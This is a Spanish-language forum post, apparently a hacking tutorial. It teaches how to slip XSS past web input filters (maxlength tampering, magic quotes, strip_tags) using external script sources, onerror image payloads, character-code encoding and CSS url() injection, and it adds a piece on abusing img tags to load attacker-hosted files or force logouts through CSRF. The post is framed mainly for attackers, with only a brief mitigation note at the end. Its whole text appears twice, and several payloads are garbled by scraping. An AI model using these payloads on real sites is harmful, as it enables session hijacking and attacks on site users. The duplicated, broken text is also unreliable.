MAZTOR
06-20-2011, 03:39 PM
Primero definamos qué es el bypassing. El bypassing, para cualquier cosa, consiste en poder atravesar alguna medida de seguridad con un objetivo. En nuestro caso, la definición se amolda a "saltar un filtro". El primer tipo de filtro va a ser en los formularios en los cuales sólo te dejan escribir un número determinado de caracteres.
En los inputs, se puede colocar un parámetro el cual defina el máximo número de caracteres que se pueden escribir dentro del input, se trata de maxlength="numero". Si encontrásemos un input al estilo de:
<input maxlength="5" name="input" type="text">
No podríamos escribir nada interesante, puesto que únicamente tenemos espacio para escribir 5 letras.... Entonces si pensamos un poco, recordaremos cierta técnica enfocada a modificar un formulario antes de enviarse.... Sí, exacto: es hora de practicar form tampering.
Simplemente debemos de abrir alguna tool que nos permita modificar el código fuente, vamos al formulario en cuestión, y modificamos el maxlength por un número altísimo, por ejemplo:
<input maxlength="99999999999999999" name="input" type="text">
Ahora si probamos a escribir en nuestro campo, observaremos que ya sí podemos inyectar código malicioso.
Otro filtro muy común son las magic quotes. Este filtro se ocupa de adherir una \ a las comillas que pongamos en nuestro código malicioso. Así si intentamos poner algo, "en teoría" modificaría nuestra sentencia haciéndola inservible... Pero sólo en teoría.
El primer consejo que os doy para saltar un filtro, es ver qué bloquea, y despues buscar la forma de no hacer eso que bloquea. Es decir, si no te deja poner comillas, no luches contra ello, evítalo y busca la forma de inyectar sin usar comillas. Un ejemplo sería meter el código malicioso en un .js alojado en un servidor externo, y entonces al hacer la inyección, la hacemos sin comillas:
1
2
<script src="Host (http://host.com/FoS.js)">
</script>
Ya tendríamos nuestra bonito XSS explotado. Pero no siempre todo es tan fácil. Las magic quotes también pueden hacer el efecto contrario: que te impidan poner /, ya que le adhieren unas comillas. Estaríamos ante el mismo problema que antes... o incluso peor, puesto que se nos impide cerrar cualquier tipo de tag, ya que recordemos, en HTML es necesario cerrar los tags con /.
Bien, no os asusteis, recordad mi consejo: No lucheis, evitad. Pues eso, evitemos tener que cerrar tags. Tenemos que realizar una búsqueda mental de elementos que no necesiten ser cerrados. Elementos como tales no encontraremos, pero..¿ y si os dijera que se puede meter código javascript dentro de un tag ?
Sip, así es. La idea original sería la de ejecutar algún evento "on" asociado a unas sentencias en JavaScript. En nuestro caso, y como ya espuse en otro paper, vamos a proceder a crear un error, y que al producirse el error tenga como respuesta la ejecución de JavaScript. Este elemento "on" es onerror. Tendríamos que poner simplemente
1
onerror=Código Javascript
.
Para producir el error vamos a poner un con una ruta ficticia. Al no poder visualizar la imagen, saltará el consecuente error que ejecutará el código malicioso. Lo que traducido sería:
<img )="" onerror="Alert(/FoS" src="." team="">
La cosa se puede poner más peliaguda aún, si lo que hace el filtro es impedir meter letras a la variable. Me refiero a ciertos filtros que te permiten ejecutar JavaScript, pero que dentro de la sentencia en sí no te dejan usar letras ni caracteres especiales. Para estos casos, podemos transformar nuestro código malicioso en los valores ASCII de los caracteres que lo componen, y despues incrustarlos a través de String.fromCha rCode(codigo ascii).
alert(String.fromCharCode(88,83,83));
Esto provocaría una ventanita de alert con el texto "XSS". Otra forma de saltar estos filtros es poniendo código malicioso en UNICODE, es decir, representando cada caracter con su valor Hexadecimal y añadiéndole a cada uno un % delante.
Y ya por último, otro filtro que sí que nos pone las cosas bien jodidas, la función Strip_Tags . Esta función se encarga de eliminar de una variable todo lo que esté entre < >. Ahora sí que la cosa está dificil, ¿eh?. ¿Qué os tengo dicho? No intentar atravesar, siempre evitar. Y eso haremos.
Que no podemos poner < >, pues no lo ponemos. Si recordamos a los XSS en formularios, para saltarlos había que cerrar Value y a partir de ahí inyectar... Pues ahora vamos a realizar una variante de esta técnica. Si sabemos algo de CSS, podemos recordar que se pueden poner URL en algunos elementos... Entonces si a nuestro input le hacemos esto:
<input name="input" style="background: url(url con codigo malicioso);" value="" type="text">
Habremos conseguido inquistar una sentencia maligna dentro del tag propio de la página.
En muchos blogs te permiten usar ciertos tags permitidos, como o
1
y esas cosas. Ahí igualmente se podría inyectar el código malicioso al meter un
<b onload="codigo"></b>
. La función Strip_tags no te deja poner tus propios tags, pero sí que te deja poner los que el webmaster haya puesto.
Importancia de la etiqueta IMG en la seguridad de un WebSite
En este pequeño artículo trataremos como dice el titulo "Importancia de la etiqueta
<img>
en la seguridad de un WebSite". Como hemos visto las etiquetas
<img>
son muy usadas en WebsSites ya sean foros o redes sociales o cualquier WebSite que permita la interacion de usuarios. Ya sea en redes sociales que no permiten comentar fotos o perfiles de miembros o foros que nos permitan responder post de otros miembros o cualquier otro tipo en la mayoria de sus casos siempre se suele usar la etiqueta
para colocar alguna imagen relacionada con lo que uno esta escribiendo o poniendo alguna foto o gif animado que queramos que los demás usuarios vean, es ahí donde esta este bug que por alguna mal filtrado de las etiquetas
que en ves de poner algo normal como seria
<img src="web:%20http://www.webdelatacante/atake.php.com (http://maztor.blogspot.com/2011/05/20http://www.webdelatacante/atake.php.com)" border="0">
ó
<img src="web:%20http://%20http://www.webatacada.com/loguot.php (http://maztor.blogspot.com/2011/05/20http://%20http://www.webatacada.com/loguot.php)" border="0">
estos nos permirita
que ala hora que la web trate de ejecutar lo que hay dentro de la etiqueta
nos ejecute la url modificada que no es una URL que contenga una imagen si no a sido manipulada para ser que nosotros queramos hacer esto nos permiten ejecutar algún tipo de código malicioso o poder hacer algún XSRF estos tipos de código los clasifico en dos tipos uno que usa URLs externas y otro que usas URLs del mismo sitio.
Ejemplos:
URL Externa
<img src="web:%20http://www.webdelatacante.com/ataque.php (http://maztor.blogspot.com/2011/05/20http://www.webdelatacante.com/ataque.php)" border="0">
No solo se puede hacer cargar archivos php si no también cualquier tipo de archivos web que
soporte la web del atacante ya queda a imaginas del atacante el código que pueda colocar en estos archivos.
URL Interna
<img src="web:%20http://%20http://www.webatacada.com/loguot.php (http://maztor.blogspot.com/2011/05/20http://%20http://www.webatacada.com/loguot.php)" border="0">
En este caso estamos usándolo para hacer un XSRF a la web la url puesta dentro la etiqueta
puede variar según lo que nosotros queramos que el usuario ejecute en este caso le cerrara la sesión sin que este se de cuenta de que el XSRF se ejecuto.
Medidas
Es importante tener un bueno filtrado en la etiqueta
asiendo que solo nos acepte URL con extinción gif, jpf, bmp, etc.
O desactivar la etiqueta
1
<img>
y sustituirlo por un upload que tenga un buen sistema de filtrado de archivos de imagenes.
En los inputs, se puede colocar un parámetro el cual defina el máximo número de caracteres que se pueden escribir dentro del input, se trata de maxlength="numero". Si encontrásemos un input al estilo de:
<input maxlength="5" name="input" type="text">
No podríamos escribir nada interesante, puesto que únicamente tenemos espacio para escribir 5 letras.... Entonces si pensamos un poco, recordaremos cierta técnica enfocada a modificar un formulario antes de enviarse.... Sí, exacto: es hora de practicar form tampering.
Simplemente debemos de abrir alguna tool que nos permita modificar el código fuente, vamos al formulario en cuestión, y modificamos el maxlength por un número altísimo, por ejemplo:
<input maxlength="99999999999999999" name="input" type="text">
Ahora si probamos a escribir en nuestro campo, observaremos que ya sí podemos inyectar código malicioso.
Otro filtro muy común son las magic quotes. Este filtro se ocupa de adherir una \ a las comillas que pongamos en nuestro código malicioso. Así si intentamos poner algo, "en teoría" modificaría nuestra sentencia haciéndola inservible... Pero sólo en teoría.
El primer consejo que os doy para saltar un filtro, es ver qué bloquea, y despues buscar la forma de no hacer eso que bloquea. Es decir, si no te deja poner comillas, no luches contra ello, evítalo y busca la forma de inyectar sin usar comillas. Un ejemplo sería meter el código malicioso en un .js alojado en un servidor externo, y entonces al hacer la inyección, la hacemos sin comillas:
1
2
<script src="Host (http://host.com/FoS.js)">
</script>
Ya tendríamos nuestra bonito XSS explotado. Pero no siempre todo es tan fácil. Las magic quotes también pueden hacer el efecto contrario: que te impidan poner /, ya que le adhieren unas comillas. Estaríamos ante el mismo problema que antes... o incluso peor, puesto que se nos impide cerrar cualquier tipo de tag, ya que recordemos, en HTML es necesario cerrar los tags con /.
Bien, no os asusteis, recordad mi consejo: No lucheis, evitad. Pues eso, evitemos tener que cerrar tags. Tenemos que realizar una búsqueda mental de elementos que no necesiten ser cerrados. Elementos como tales no encontraremos, pero..¿ y si os dijera que se puede meter código javascript dentro de un tag ?
Sip, así es. La idea original sería la de ejecutar algún evento "on" asociado a unas sentencias en JavaScript. En nuestro caso, y como ya espuse en otro paper, vamos a proceder a crear un error, y que al producirse el error tenga como respuesta la ejecución de JavaScript. Este elemento "on" es onerror. Tendríamos que poner simplemente
1
onerror=Código Javascript
.
Para producir el error vamos a poner un con una ruta ficticia. Al no poder visualizar la imagen, saltará el consecuente error que ejecutará el código malicioso. Lo que traducido sería:
<img )="" onerror="Alert(/FoS" src="." team="">
La cosa se puede poner más peliaguda aún, si lo que hace el filtro es impedir meter letras a la variable. Me refiero a ciertos filtros que te permiten ejecutar JavaScript, pero que dentro de la sentencia en sí no te dejan usar letras ni caracteres especiales. Para estos casos, podemos transformar nuestro código malicioso en los valores ASCII de los caracteres que lo componen, y despues incrustarlos a través de String.fromCha rCode(codigo ascii).
alert(String.fromCharCode(88,83,83));
Esto provocaría una ventanita de alert con el texto "XSS". Otra forma de saltar estos filtros es poniendo código malicioso en UNICODE, es decir, representando cada caracter con su valor Hexadecimal y añadiéndole a cada uno un % delante.
Y ya por último, otro filtro que sí que nos pone las cosas bien jodidas, la función Strip_Tags . Esta función se encarga de eliminar de una variable todo lo que esté entre < >. Ahora sí que la cosa está dificil, ¿eh?. ¿Qué os tengo dicho? No intentar atravesar, siempre evitar. Y eso haremos.
Que no podemos poner < >, pues no lo ponemos. Si recordamos a los XSS en formularios, para saltarlos había que cerrar Value y a partir de ahí inyectar... Pues ahora vamos a realizar una variante de esta técnica. Si sabemos algo de CSS, podemos recordar que se pueden poner URL en algunos elementos... Entonces si a nuestro input le hacemos esto:
<input name="input" style="background: url(url con codigo malicioso);" value="" type="text">
Habremos conseguido inquistar una sentencia maligna dentro del tag propio de la página.
En muchos blogs te permiten usar ciertos tags permitidos, como o
1
y esas cosas. Ahí igualmente se podría inyectar el código malicioso al meter un
<b onload="codigo"></b>
. La función Strip_tags no te deja poner tus propios tags, pero sí que te deja poner los que el webmaster haya puesto.
Importancia de la etiqueta IMG en la seguridad de un WebSite
En este pequeño artículo trataremos como dice el titulo "Importancia de la etiqueta
<img>
en la seguridad de un WebSite". Como hemos visto las etiquetas
<img>
son muy usadas en WebsSites ya sean foros o redes sociales o cualquier WebSite que permita la interacion de usuarios. Ya sea en redes sociales que no permiten comentar fotos o perfiles de miembros o foros que nos permitan responder post de otros miembros o cualquier otro tipo en la mayoria de sus casos siempre se suele usar la etiqueta
para colocar alguna imagen relacionada con lo que uno esta escribiendo o poniendo alguna foto o gif animado que queramos que los demás usuarios vean, es ahí donde esta este bug que por alguna mal filtrado de las etiquetas
que en ves de poner algo normal como seria
<img src="web:%20http://www.webdelatacante/atake.php.com (http://maztor.blogspot.com/2011/05/20http://www.webdelatacante/atake.php.com)" border="0">
ó
<img src="web:%20http://%20http://www.webatacada.com/loguot.php (http://maztor.blogspot.com/2011/05/20http://%20http://www.webatacada.com/loguot.php)" border="0">
estos nos permirita
que ala hora que la web trate de ejecutar lo que hay dentro de la etiqueta
nos ejecute la url modificada que no es una URL que contenga una imagen si no a sido manipulada para ser que nosotros queramos hacer esto nos permiten ejecutar algún tipo de código malicioso o poder hacer algún XSRF estos tipos de código los clasifico en dos tipos uno que usa URLs externas y otro que usas URLs del mismo sitio.
Ejemplos:
URL Externa
<img src="web:%20http://www.webdelatacante.com/ataque.php (http://maztor.blogspot.com/2011/05/20http://www.webdelatacante.com/ataque.php)" border="0">
No solo se puede hacer cargar archivos php si no también cualquier tipo de archivos web que
soporte la web del atacante ya queda a imaginas del atacante el código que pueda colocar en estos archivos.
URL Interna
<img src="web:%20http://%20http://www.webatacada.com/loguot.php (http://maztor.blogspot.com/2011/05/20http://%20http://www.webatacada.com/loguot.php)" border="0">
En este caso estamos usándolo para hacer un XSRF a la web la url puesta dentro la etiqueta
puede variar según lo que nosotros queramos que el usuario ejecute en este caso le cerrara la sesión sin que este se de cuenta de que el XSRF se ejecuto.
Medidas
Es importante tener un bueno filtrado en la etiqueta
asiendo que solo nos acepte URL con extinción gif, jpf, bmp, etc.
O desactivar la etiqueta
1
<img>
y sustituirlo por un upload que tenga un buen sistema de filtrado de archivos de imagenes.